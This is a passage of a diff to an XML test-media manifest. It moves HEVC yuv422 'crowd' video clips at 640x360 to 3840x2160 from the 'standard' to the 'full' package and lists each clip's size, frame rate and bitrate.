   <entry key="hevc/yuv422/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f14_gop8.mp4">
-    <value>mime=video/hevc,size=196636,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=5588056,package=standard</value>
+    <value>mime=video/hevc,size=196636,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=5588056,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f15_gop8.mp4">
-    <value>mime=video/hevc,size=204068,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=5413600,package=standard</value>
+    <value>mime=video/hevc,size=204068,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=5413600,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f16_gop8.mp4">
-    <value>mime=video/hevc,size=206905,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=5146072,package=standard</value>
+    <value>mime=video/hevc,size=206905,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=5146072,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f1_gop1.mp4">
-    <value>mime=video/hevc,size=80057,width=1280,height=720,frame-rate=1,profile=,level=,bitrate=633640,package=standard</value>
+    <value>mime=video/hevc,size=80057,width=1280,height=720,frame-rate=1,profile=,level=,bitrate=633640,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f1_gop2.mp4">
-    <value>mime=video/hevc,size=80068,width=1280,height=720,frame-rate=1,profile=,level=,bitrate=633720,package=standard</value>
+    <value>mime=video/hevc,size=80068,width=1280,height=720,frame-rate=1,profile=,level=,bitrate=633720,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f1_gop4.mp4">
-    <value>mime=video/hevc,size=80067,width=1280,height=720,frame-rate=1,profile=,level=,bitrate=633720,package=standard</value>
+    <value>mime=video/hevc,size=80067,width=1280,height=720,frame-rate=1,profile=,level=,bitrate=633720,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f1_gop8.mp4">
-    <value>mime=video/hevc,size=80069,width=1280,height=720,frame-rate=1,profile=,level=,bitrate=633720,package=standard</value>
+    <value>mime=video/hevc,size=80069,width=1280,height=720,frame-rate=1,profile=,level=,bitrate=633720,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f2_gop1.mp4">
-    <value>mime=video/hevc,size=98135,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=19451000,package=standard</value>
+    <value>mime=video/hevc,size=98135,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=19451000,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f2_gop2.mp4">
-    <value>mime=video/hevc,size=98146,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=19453000,package=standard</value>
+    <value>mime=video/hevc,size=98146,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=19453000,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f2_gop4.mp4">
-    <value>mime=video/hevc,size=98145,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=19453000,package=standard</value>
+    <value>mime=video/hevc,size=98145,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=19453000,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f2_gop8.mp4">
-    <value>mime=video/hevc,size=98147,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=19453000,package=standard</value>
+    <value>mime=video/hevc,size=98147,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=19453000,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f3_gop2.mp4">
-    <value>mime=video/hevc,size=111400,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=14725200,package=standard</value>
+    <value>mime=video/hevc,size=111400,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=14725200,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f3_gop4.mp4">
-    <value>mime=video/hevc,size=111399,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=14725200,package=standard</value>
+    <value>mime=video/hevc,size=111399,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=14725200,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f3_gop8.mp4">
-    <value>mime=video/hevc,size=111401,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=14725200,package=standard</value>
+    <value>mime=video/hevc,size=111401,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=14725200,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f4_gop2.mp4">
-    <value>mime=video/hevc,size=120678,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=11970496,package=standard</value>
+    <value>mime=video/hevc,size=120678,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=11970496,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f4_gop4.mp4">
-    <value>mime=video/hevc,size=121903,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=12093096,package=standard</value>
+    <value>mime=video/hevc,size=121903,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=12093096,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f4_gop8.mp4">
-    <value>mime=video/hevc,size=121905,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=12093096,package=standard</value>
+    <value>mime=video/hevc,size=121905,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=12093096,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f5_gop4.mp4">
-    <value>mime=video/hevc,size=133902,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=10633440,package=standard</value>
+    <value>mime=video/hevc,size=133902,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=10633440,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f5_gop8.mp4">
-    <value>mime=video/hevc,size=133904,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=10633440,package=standard</value>
+    <value>mime=video/hevc,size=133904,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=10633440,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f6_gop4.mp4">
-    <value>mime=video/hevc,size=141042,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=9336400,package=standard</value>
+    <value>mime=video/hevc,size=141042,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=9336400,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f6_gop8.mp4">
-    <value>mime=video/hevc,size=140170,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=9278664,package=standard</value>
+    <value>mime=video/hevc,size=140170,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=9278664,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f7_gop4.mp4">
-    <value>mime=video/hevc,size=146455,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=8311256,package=standard</value>
+    <value>mime=video/hevc,size=146455,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=8311256,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f7_gop8.mp4">
-    <value>mime=video/hevc,size=152876,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=8678968,package=standard</value>
+    <value>mime=video/hevc,size=152876,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=8678968,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f8_gop4.mp4">
-    <value>mime=video/hevc,size=150504,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=7474200,package=standard</value>
+    <value>mime=video/hevc,size=150504,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=7474200,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f8_gop8.mp4">
-    <value>mime=video/hevc,size=157732,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=7836696,package=standard</value>
+    <value>mime=video/hevc,size=157732,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=7836696,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1280x720p50/crowd_1280x720p50f9_gop8.mp4">
-    <value>mime=video/hevc,size=170440,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=7530576,package=standard</value>
+    <value>mime=video/hevc,size=170440,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=7530576,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f10_gop8.mp4">
-    <value>mime=video/hevc,size=188311,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=7491880,package=standard</value>
+    <value>mime=video/hevc,size=188311,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=7491880,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f11_gop8.mp4">
-    <value>mime=video/hevc,size=195468,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=7070616,package=standard</value>
+    <value>mime=video/hevc,size=195468,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=7070616,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f12_gop8.mp4">
-    <value>mime=video/hevc,size=185366,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=6144264,package=standard</value>
+    <value>mime=video/hevc,size=185366,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=6144264,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f13_gop8.mp4">
-    <value>mime=video/hevc,size=194899,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=5964584,package=standard</value>
+    <value>mime=video/hevc,size=194899,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=5964584,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f14_gop8.mp4">
-    <value>mime=video/hevc,size=199505,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=5670024,package=standard</value>
+    <value>mime=video/hevc,size=199505,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=5670024,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f15_gop8.mp4">
-    <value>mime=video/hevc,size=212245,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=5631648,package=standard</value>
+    <value>mime=video/hevc,size=212245,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=5631648,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f16_gop8.mp4">
-    <value>mime=video/hevc,size=214247,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=5329624,package=standard</value>
+    <value>mime=video/hevc,size=214247,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=5329624,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f1_gop1.mp4">
-    <value>mime=video/hevc,size=71103,width=1920,height=1080,frame-rate=1,profile=,level=,bitrate=562000,package=standard</value>
+    <value>mime=video/hevc,size=71103,width=1920,height=1080,frame-rate=1,profile=,level=,bitrate=562000,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f1_gop2.mp4">
-    <value>mime=video/hevc,size=71112,width=1920,height=1080,frame-rate=1,profile=,level=,bitrate=562080,package=standard</value>
+    <value>mime=video/hevc,size=71112,width=1920,height=1080,frame-rate=1,profile=,level=,bitrate=562080,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f1_gop4.mp4">
-    <value>mime=video/hevc,size=71113,width=1920,height=1080,frame-rate=1,profile=,level=,bitrate=562080,package=standard</value>
+    <value>mime=video/hevc,size=71113,width=1920,height=1080,frame-rate=1,profile=,level=,bitrate=562080,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f1_gop8.mp4">
-    <value>mime=video/hevc,size=71114,width=1920,height=1080,frame-rate=1,profile=,level=,bitrate=562080,package=standard</value>
+    <value>mime=video/hevc,size=71114,width=1920,height=1080,frame-rate=1,profile=,level=,bitrate=562080,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f2_gop1.mp4">
-    <value>mime=video/hevc,size=87340,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=17291800,package=standard</value>
+    <value>mime=video/hevc,size=87340,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=17291800,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f2_gop2.mp4">
-    <value>mime=video/hevc,size=87349,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=17293800,package=standard</value>
+    <value>mime=video/hevc,size=87349,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=17293800,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f2_gop4.mp4">
-    <value>mime=video/hevc,size=87350,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=17293800,package=standard</value>
+    <value>mime=video/hevc,size=87350,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=17293800,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f2_gop8.mp4">
-    <value>mime=video/hevc,size=87351,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=17293800,package=standard</value>
+    <value>mime=video/hevc,size=87351,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=17293800,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f3_gop2.mp4">
-    <value>mime=video/hevc,size=99002,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=13072264,package=standard</value>
+    <value>mime=video/hevc,size=99002,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=13072264,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f3_gop4.mp4">
-    <value>mime=video/hevc,size=99003,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=13072264,package=standard</value>
+    <value>mime=video/hevc,size=99003,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=13072264,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f3_gop8.mp4">
-    <value>mime=video/hevc,size=99004,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=13072264,package=standard</value>
+    <value>mime=video/hevc,size=99004,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=13072264,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f4_gop2.mp4">
-    <value>mime=video/hevc,size=108725,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=10775296,package=standard</value>
+    <value>mime=video/hevc,size=108725,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=10775296,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f4_gop4.mp4">
-    <value>mime=video/hevc,size=108198,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=10722496,package=standard</value>
+    <value>mime=video/hevc,size=108198,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=10722496,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f4_gop8.mp4">
-    <value>mime=video/hevc,size=108199,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=10722496,package=standard</value>
+    <value>mime=video/hevc,size=108199,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=10722496,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f5_gop4.mp4">
-    <value>mime=video/hevc,size=118162,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=9374160,package=standard</value>
+    <value>mime=video/hevc,size=118162,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=9374160,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f5_gop8.mp4">
-    <value>mime=video/hevc,size=118163,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=9374160,package=standard</value>
+    <value>mime=video/hevc,size=118163,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=9374160,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f6_gop4.mp4">
-    <value>mime=video/hevc,size=133785,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=8852528,package=standard</value>
+    <value>mime=video/hevc,size=133785,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=8852528,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f6_gop8.mp4">
-    <value>mime=video/hevc,size=123824,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=8188928,package=standard</value>
+    <value>mime=video/hevc,size=123824,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=8188928,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f7_gop4.mp4">
-    <value>mime=video/hevc,size=141713,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=8040224,package=standard</value>
+    <value>mime=video/hevc,size=141713,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=8040224,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f7_gop8.mp4">
-    <value>mime=video/hevc,size=134574,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=7633136,package=standard</value>
+    <value>mime=video/hevc,size=134574,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=7633136,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f8_gop4.mp4">
-    <value>mime=video/hevc,size=149124,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=7405144,package=standard</value>
+    <value>mime=video/hevc,size=149124,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=7405144,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f8_gop8.mp4">
-    <value>mime=video/hevc,size=137803,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=6840248,package=standard</value>
+    <value>mime=video/hevc,size=137803,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=6840248,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f9_gop8.mp4">
-    <value>mime=video/hevc,size=149043,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=6579600,package=standard</value>
+    <value>mime=video/hevc,size=149043,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=6579600,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f10_gop8.mp4">
     <value>mime=video/hevc,size=436841,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=17433080,package=full</value>
@@ -17040,274 +17040,274 @@
     <value>mime=video/hevc,size=560320,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=13981448,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f1_gop1.mp4">
-    <value>mime=video/hevc,size=181785,width=3840,height=2160,frame-rate=1,profile=,level=,bitrate=1447456,package=standard</value>
+    <value>mime=video/hevc,size=181785,width=3840,height=2160,frame-rate=1,profile=,level=,bitrate=1447456,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f1_gop2.mp4">
-    <value>mime=video/hevc,size=181795,width=3840,height=2160,frame-rate=1,profile=,level=,bitrate=1447536,package=standard</value>
+    <value>mime=video/hevc,size=181795,width=3840,height=2160,frame-rate=1,profile=,level=,bitrate=1447536,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f1_gop4.mp4">
-    <value>mime=video/hevc,size=181796,width=3840,height=2160,frame-rate=1,profile=,level=,bitrate=1447536,package=standard</value>
+    <value>mime=video/hevc,size=181796,width=3840,height=2160,frame-rate=1,profile=,level=,bitrate=1447536,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f1_gop8.mp4">
-    <value>mime=video/hevc,size=181796,width=3840,height=2160,frame-rate=1,profile=,level=,bitrate=1447536,package=standard</value>
+    <value>mime=video/hevc,size=181796,width=3840,height=2160,frame-rate=1,profile=,level=,bitrate=1447536,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f2_gop1.mp4">
-    <value>mime=video/hevc,size=220907,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=44005200,package=standard</value>
+    <value>mime=video/hevc,size=220907,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=44005200,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f2_gop2.mp4">
-    <value>mime=video/hevc,size=220917,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=44007200,package=standard</value>
+    <value>mime=video/hevc,size=220917,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=44007200,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f2_gop4.mp4">
-    <value>mime=video/hevc,size=220918,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=44007200,package=standard</value>
+    <value>mime=video/hevc,size=220918,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=44007200,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f2_gop8.mp4">
-    <value>mime=video/hevc,size=220918,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=44007200,package=standard</value>
+    <value>mime=video/hevc,size=220918,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=44007200,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f3_gop2.mp4">
-    <value>mime=video/hevc,size=251689,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=33430400,package=standard</value>
+    <value>mime=video/hevc,size=251689,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=33430400,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f3_gop4.mp4">
-    <value>mime=video/hevc,size=251690,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=33430400,package=standard</value>
+    <value>mime=video/hevc,size=251690,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=33430400,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f3_gop8.mp4">
-    <value>mime=video/hevc,size=251690,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=33430400,package=standard</value>
+    <value>mime=video/hevc,size=251690,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=33430400,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f4_gop2.mp4">
-    <value>mime=video/hevc,size=270909,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=26993600,package=standard</value>
+    <value>mime=video/hevc,size=270909,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=26993600,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f4_gop4.mp4">
-    <value>mime=video/hevc,size=275326,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=27435200,package=standard</value>
+    <value>mime=video/hevc,size=275326,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=27435200,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f4_gop8.mp4">
-    <value>mime=video/hevc,size=275326,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=27435200,package=standard</value>
+    <value>mime=video/hevc,size=275326,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=27435200,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f5_gop4.mp4">
-    <value>mime=video/hevc,size=303102,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=24169280,package=standard</value>
+    <value>mime=video/hevc,size=303102,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=24169280,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f5_gop8.mp4">
-    <value>mime=video/hevc,size=303102,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=24169280,package=standard</value>
+    <value>mime=video/hevc,size=303102,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=24169280,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f6_gop4.mp4">
-    <value>mime=video/hevc,size=324089,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=21539400,package=standard</value>
+    <value>mime=video/hevc,size=324089,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=21539400,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f6_gop8.mp4">
-    <value>mime=video/hevc,size=319803,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=21254200,package=standard</value>
+    <value>mime=video/hevc,size=319803,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=21254200,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f7_gop4.mp4">
-    <value>mime=video/hevc,size=343654,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=19579656,package=standard</value>
+    <value>mime=video/hevc,size=343654,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=19579656,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f7_gop8.mp4">
-    <value>mime=video/hevc,size=349352,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=19906168,package=standard</value>
+    <value>mime=video/hevc,size=349352,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=19906168,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f8_gop4.mp4">
-    <value>mime=video/hevc,size=362585,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=18078144,package=standard</value>
+    <value>mime=video/hevc,size=362585,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=18078144,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f8_gop8.mp4">
-    <value>mime=video/hevc,size=362995,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=18099848,package=standard</value>
+    <value>mime=video/hevc,size=362995,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=18099848,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f9_gop8.mp4">
     <value>mime=video/hevc,size=395403,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=17528928,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_640x360p50/crowd_640x360p50f10_gop8.mp4">
-    <value>mime=video/hevc,size=28330,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1092640,package=standard</value>
+    <value>mime=video/hevc,size=28330,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1092640,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_640x360p50/crowd_640x360p50f11_gop8.mp4">
-    <value>mime=video/hevc,size=29593,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1038800,package=standard</value>
+    <value>mime=video/hevc,size=29593,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1038800,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_640x360p50/crowd_640x360p50f12_gop8.mp4">
